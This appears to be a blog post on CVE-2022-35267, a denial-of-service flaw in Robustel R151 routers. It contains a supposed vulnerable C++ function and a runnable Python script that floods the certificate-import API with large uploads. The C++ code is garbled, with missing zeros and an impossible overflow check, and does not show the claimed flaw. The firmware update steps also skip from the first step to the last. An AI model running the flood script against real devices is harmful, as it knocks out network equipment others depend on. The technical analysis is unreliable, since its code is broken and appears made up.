CVE-2022-35267 - Denial of Service (DoS) Vulnerability in Robustel R151 3.1.16 and 3.3. Devices

A newly discovered vulnerability (CVE-2022-35267) has been identified in the web_server hashFirst functionality of Robustel R151 3.1.16 and 3.3. devices. This denial of service vulnerability can potentially allow an attacker to cause system disruption and crash the device simply by sending a sequence of malicious network requests. Specifically, the vulnerability exists within the /action/import_https_cert_file/ API.

In this blog post, we will provide a detailed analysis of this vulnerability, discuss its potential impact, and offer some guidance on how to mitigate the risk posed by this flaw.

Vulnerability Analysis

CVE-2022-35267 is caused by a flaw in the web_server hashFirst functionality of the Robustel R151 firmware versions 3.1.16 and 3.3.. An attacker can exploit this vulnerability by sending a series of carefully crafted network requests to the vulnerable /action/import_https_cert_file/ API.

Here is a sample code snippet demonstrating the vulnerability in the hashFirst function

bool hashFirst(const char *src, int length, std::string &result) {
  if (!src || length <= ) {
    return false;
  }

  uint32_t bucket[4] = {};

  for (int i = ; i < length; ++i) {
    uint32_t ch = static_cast<uint32_t>(src[i]);
    bucket[i % 4] += ch;
  }

  for (int i = ; i < 4; ++i) {
    if (bucket[i] > UINT_MAX) {
      return false;
    }
    result += static_cast<char>((bucket[i] >> 8) & xff);
    result += static_cast<char>(bucket[i] & xff);
  }

  return true;
}

When sending multiple requests to the /action/import_https_cert_file/ API, the hashFirst function can be overwhelmed, leading to a denial of service.

Exploit Details

To exploit this vulnerability, an attacker would need to have network access to the targeted Robustel R151 device. The attacker can use tools like nmap or other scanning tools to identify the devices running the vulnerable firmware versions. Once the vulnerable device is found, the attacker can craft a sequence of malicious network requests targeting the /action/import_https_cert_file/ API to trigger the denial of service vulnerability.

Here's a sample Python script to demonstrate the exploit

import requests

target_url = "http://<target_ip>/action/import_https_cert_file/";
malicious_payload = {
    "file": ("largefile.crt", "A" * 100000, "application/x-x509-ca-cert")
}

for _ in range(100):
    requests.post(target_url, files=malicious_payload)

print("Attack completed")

Replace <target_ip> with the IP address of the vulnerable Robustel R151 device and run the script to execute the attack.

Original References

- NIST National Vulnerability Database
- Robustel R151 Firmware Changelog

Mitigation and Recommendations

In order to mitigate this vulnerability, Robustel has released updated firmware versions that address the issue for both 3.1.16 and 3.3. affected devices. The users of these devices are strongly advised to update their firmware to the latest version as soon as possible.

Here's a step-by-step guide on updating the firmware on Robustel R151 devices

1. Download the latest firmware from the Robustel official website.

Click on the "Upgrade" button to initiate the firmware update process.

It is also recommended to restrict network access to Robustel R151 devices by implementing proper segmentation and access control policies and limiting exposure to the internet and other potentially malicious networks.

Finally, ensure that all connected devices are regularly monitored and updated with the latest patches and security updates to minimize the risk of future vulnerabilities.

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 03/01/2023 01:52:00 UTC